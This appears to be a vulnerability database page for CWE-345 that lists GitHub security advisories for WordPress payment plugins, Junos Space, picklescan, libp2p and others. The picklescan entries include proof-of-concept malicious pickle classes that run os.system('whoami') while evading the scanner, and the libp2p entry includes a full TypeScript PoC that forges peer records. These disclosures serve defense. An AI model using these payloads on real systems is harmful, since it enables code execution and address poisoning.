CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1181 vulnerabilities reference this CWE, most recent first.
GHSA-VQF2-5H8G-FV6R
Vulnerability from github – Published: 2026-04-07 09:31 – Updated: 2026-04-07 09:31The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 1.8.9.7. This is due to missing cryptographic verification of incoming Stripe webhook events. This makes it possible for unauthenticated attackers to forge payment_intent.succeeded webhook payloads and mark pending donations as completed without a real payment.
{
"affected": [],
"aliases": [
"CVE-2026-3177"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-07T08:16:11Z",
"severity": "MODERATE"
},
"details": "The Charitable \u2013 Donation Plugin for WordPress \u2013 Fundraising with Recurring Donations \u0026 More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 1.8.9.7. This is due to missing cryptographic verification of incoming Stripe webhook events. This makes it possible for unauthenticated attackers to forge payment_intent.succeeded webhook payloads and mark pending donations as completed without a real payment.",
"id": "GHSA-vqf2-5h8g-fv6r",
"modified": "2026-04-07T09:31:22Z",
"published": "2026-04-07T09:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3177"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3485023/charitable"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc3b2645-7b57-4884-99c5-e37dbd4a9600?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VQMJ-9MFQ-WGJJ
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Insufficient verification of node certificates in Juniper Networks Junos Space may allow a man-in-the-middle type of attacker to make unauthorized modifications to Space database or add nodes. Affected releases are Juniper Networks Junos Space all versions prior to 17.1R1.
{
"affected": [],
"aliases": [
"CVE-2017-10624"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-13T17:29:00Z",
"severity": "HIGH"
},
"details": "Insufficient verification of node certificates in Juniper Networks Junos Space may allow a man-in-the-middle type of attacker to make unauthorized modifications to Space database or add nodes. Affected releases are Juniper Networks Junos Space all versions prior to 17.1R1.",
"id": "GHSA-vqmj-9mfq-wgjj",
"modified": "2022-05-13T01:38:20Z",
"published": "2022-05-13T01:38:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10624"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA10826"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101255"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VR26-PJJX-9GRM
Vulnerability from github – Published: 2025-08-27 00:31 – Updated: 2025-08-27 15:33In handleBondStateChanged of AdapterService.java, there is a possible permission bypass due to misleading or insufficient UI. This could lead to remote (proximal/adjacent) information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-0092"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-26T23:15:33Z",
"severity": "MODERATE"
},
"details": "In handleBondStateChanged of AdapterService.java, there is a possible permission bypass due to misleading or insufficient UI. This could lead to remote (proximal/adjacent) information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-vr26-pjjx-9grm",
"modified": "2025-08-27T15:33:14Z",
"published": "2025-08-27T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0092"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/modules/Bluetooth/+/090ca53cc13c12e3763777a6a3c7367641e9808f"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VR4H-G9WJ-2P4G
Vulnerability from github – Published: 2026-05-29 09:31 – Updated: 2026-05-29 09:31The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although cf7pp_paypal_ipn_handler() correctly validates IPN authenticity by posting back to PayPal with cmd=_notify-validate, it fails to compare the IPN payload's mc_gross (payment amount), mc_currency, or receiver_email fields against the corresponding stored order values before passing the attacker-controlled invoice field directly to cf7pp_complete_payment(), which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose invoice parameter references the targeted order, effectively completing purchases without tendering the required payment amount.
{
"affected": [],
"aliases": [
"CVE-2026-9189"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T09:16:18Z",
"severity": "MODERATE"
},
"details": "The Contact Form 7 \u2013 PayPal \u0026 Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload\u0027s `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount.",
"id": "GHSA-vr4h-g9wj-2p4g",
"modified": "2026-05-29T09:31:07Z",
"published": "2026-05-29T09:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9189"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/functions.php#L31"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/paypal_handler.php#L106"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/paypal_handler.php#L75"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/functions.php#L31"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/paypal_handler.php#L106"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/paypal_handler.php#L75"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3551197/contact-form-7-paypal-add-on"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e274781-1c20-4224-bc10-26dadb9b1e07?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VR7H-P6MM-WPMH
Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2025-08-22 16:58Summary
Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
def __reduce__(self):
code = '__import__("os").system("whoami")'
glob = {}
loc = {}
return unsupported_tensor_ops.execWrapper, (code, glob, loc)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.27"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T16:58:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n def __reduce__(self):\n code = \u0027__import__(\"os\").system(\"whoami\")\u0027\n glob = {}\n loc = {}\n return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
"id": "GHSA-vr7h-p6mm-wpmh",
"modified": "2025-08-22T16:58:06Z",
"published": "2025-08-22T16:58:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/47"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper"
}
GHSA-VRF4-MX87-P53W
Vulnerability from github – Published: 2026-09-17 18:01 – Updated: 2026-09-17 18:01Summary
@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.
Details
The vulnerable code is in packages/peer-store/src/index.ts:
RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)verifies the envelope signature.const peerId = peerIdFromCID(envelope.publicKey.toCID())derives the envelope signer peer ID.- The optional
expectedPeercheck only comparesexpectedPeerto the envelope signer. const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)decodespeerRecord.peerIdfrom attacker-controlled signed payload bytes.this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })stores the addresses under the payload peer ID, not the verified signer peer ID.
The missing invariant is:
peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))
packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:
if (!peerRecord.peerId.equals(envelopePeer)) {
throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}
The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:
peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })
This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'
const label = 'Certified peer-record address hijack'
async function main (): Promise<void> {
const localKey = await generateKeyPair('Ed25519')
const attackerKey = await generateKeyPair('Ed25519')
const victimKey = await generateKeyPair('Ed25519')
const attacker = peerIdFromPrivateKey(attackerKey)
const victim = peerIdFromPrivateKey(victimKey)
const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')
const peerStore = persistentPeerStore({
peerId: peerIdFromPrivateKey(localKey),
datastore: new MemoryDatastore(),
events: new TypedEventEmitter(),
logger: defaultLogger()
})
// Payload claims victim, but the envelope is signed by attacker.
const forgedRecord = new PeerRecord({
peerId: victim,
multiaddrs: [attackerAddr],
seqNumber: 999999n
})
const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)
// Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
expectedPeer: attacker
})
assert.equal(accepted, true)
const poisonedVictim = await peerStore.get(victim)
assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
multiaddr: multiaddr.toString(),
isCertified
})), [{
multiaddr: attackerAddr.toString(),
isCertified: true
}])
console.log(`${label} reproduced`)
console.log(`attacker signer: ${attacker}`)
console.log(`victim storage key: ${victim}`)
console.log(`stored certified address: ${attackerAddr}`)
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001
Impact
Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.
This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/peer-store"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "12.0.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86039"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T18:01:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n const attacker = peerIdFromPrivateKey(attackerKey)\n const victim = peerIdFromPrivateKey(victimKey)\n const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n const peerStore = persistentPeerStore({\n peerId: peerIdFromPrivateKey(localKey),\n datastore: new MemoryDatastore(),\n events: new TypedEventEmitter(),\n logger: defaultLogger()\n })\n\n // Payload claims victim, but the envelope is signed by attacker.\n const forgedRecord = new PeerRecord({\n peerId: victim,\n multiaddrs: [attackerAddr],\n seqNumber: 999999n\n })\n const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n expectedPeer: attacker\n })\n\n assert.equal(accepted, true)\n\n const poisonedVictim = await peerStore.get(victim)\n assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n multiaddr: multiaddr.toString(),\n isCertified\n })), [{\n multiaddr: attackerAddr.toString(),\n isCertified: true\n }])\n\n console.log(`${label} reproduced`)\n console.log(`attacker signer: ${attacker}`)\n console.log(`victim storage key: ${victim}`)\n console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n console.error(err)\n process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
"id": "GHSA-vrf4-mx87-p53w",
"modified": "2026-09-17T18:01:38Z",
"published": "2026-09-17T18:01:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/pull/3570"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}
GHSA-VRP7-HQRC-F29Q
Vulnerability from github – Published: 2024-01-16 09:30 – Updated: 2025-06-02 18:30Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2023-52109"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T08:15:08Z",
"severity": "HIGH"
},
"details": "Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-vrp7-hqrc-f29q",
"modified": "2025-06-02T18:30:25Z",
"published": "2024-01-16T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52109"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/1"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRXP-MG9F-HWF3
Vulnerability from github – Published: 2021-09-22 20:37 – Updated: 2021-09-21 21:51Impact
Authenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).
Patches
The problem has been fixed in version 0.3.0.
Workarounds
Exploiting this vulnerability is dependent on the specific policy applied.
For more information
If you have any questions or comments about this advisory: * Open an issue in in-toto-golang * Email us at in-toto-public * If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/in-toto/in-toto-golang"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41087"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-21T21:51:18Z",
"nvd_published_at": "2021-09-21T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nAuthenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).\n\n### Patches\nThe problem has been fixed in version 0.3.0.\n\n### Workarounds\nExploiting this vulnerability is dependent on the specific policy applied.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [in-toto-golang](http://github.com/in-toto/in-toto-golang)\n* Email us at [in-toto-public](mailto:in-toto-public@googlegroups.com)\n* If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu\n",
"id": "GHSA-vrxp-mg9f-hwf3",
"modified": "2021-09-21T21:51:18Z",
"published": "2021-09-22T20:37:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/security/advisories/GHSA-vrxp-mg9f-hwf3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41087"
},
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/commit/f2c57d1e0f15e3ffbeac531829c696b72ecc4290"
},
{
"type": "PACKAGE",
"url": "https://github.com/in-toto/in-toto-golang"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improperly Implemented path matching for in-toto-golang"
}
GHSA-VV38-4298-RC55
Vulnerability from github – Published: 2022-05-14 04:03 – Updated: 2022-05-14 04:03A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.
{
"affected": [],
"aliases": [
"CVE-2017-14091"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-16T02:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.",
"id": "GHSA-vv38-4298-rc55",
"modified": "2022-05-14T04:03:22Z",
"published": "2022-05-14T04:03:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14091"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/1118486"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/trend-micro-scanmail-microsoft-exchange-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VV6J-3G6G-2PVJ
Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2026-09-11 19:36Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.27"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71348"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T16:58:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n def __reduce__(self):\n return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n def __reduce__(self):\n evil_payload = pickle.dumps(Evil())\n return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
"id": "GHSA-vv6j-3g6g-2pvj",
